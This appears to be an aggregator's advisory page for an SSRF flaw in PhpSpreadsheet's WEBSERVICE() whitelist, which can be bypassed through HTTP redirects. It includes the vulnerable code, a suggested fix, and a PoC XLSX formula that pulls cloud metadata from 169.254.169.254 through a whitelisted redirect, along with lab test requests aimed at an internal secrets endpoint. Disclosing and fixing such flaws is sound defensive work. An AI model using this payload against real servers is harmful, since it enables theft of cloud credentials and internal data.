🛡️ CVE-2026-59931 — phpspreadsheet

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

```php

$ctxArray = [

'http' => [

'user_agent' => 'Mozilla/5.0 ...',

// follow_location defaults to true

// max_redirects defaults to 20

],

];

```

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

```php

// Whitelist check — runs ONCE on the initial URL

$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];

$host = $parsed['host'] ?? '';

if (!in_array($host, $domainWhiteList, true)) {

return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;

}

// HTTP request — follows redirects to ANY destination

$ctx = stream_context_create($ctxArray);

$output = @file_get_contents($url, false, $ctx);

```

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

```xml

<c r="A1">

<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>

</c>

```

3. Upload the XLSX to the target application. The calculation engine:

  • Validates whitelisted-domain.com against the whitelist — passes
  • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
  • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/no re-validation
  • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

```bash

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)

# App whitelists "trusted-api.example.com"

# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist

=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")

→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS

=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")

→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

```

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios:

  • Whitelisted domain has an open redirect vulnerability
  • Attacker controls the whitelisted domain (e.g., a free-tier API service)
  • DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

```php

$ctxArray = [

'http' => [

'user_agent' => '...',

'follow_location' => false,

'max_redirects' => 0,

],

];

```

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain white

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

Weakness class

CVE-2026-59931 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-59931 is recorded against 2 packages.

  • phpoffice/phpspreadsheet (fixed in 1.30.6)
  • unknown

Timeline and source

Published on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-07-23
Updated 2026-08-12
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
phpoffice/phpspreadsheet 1.30.6
unknown

Similar Threats

Site Security Check

Is phpspreadsheet part of your stack?

CVE-2026-59931 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.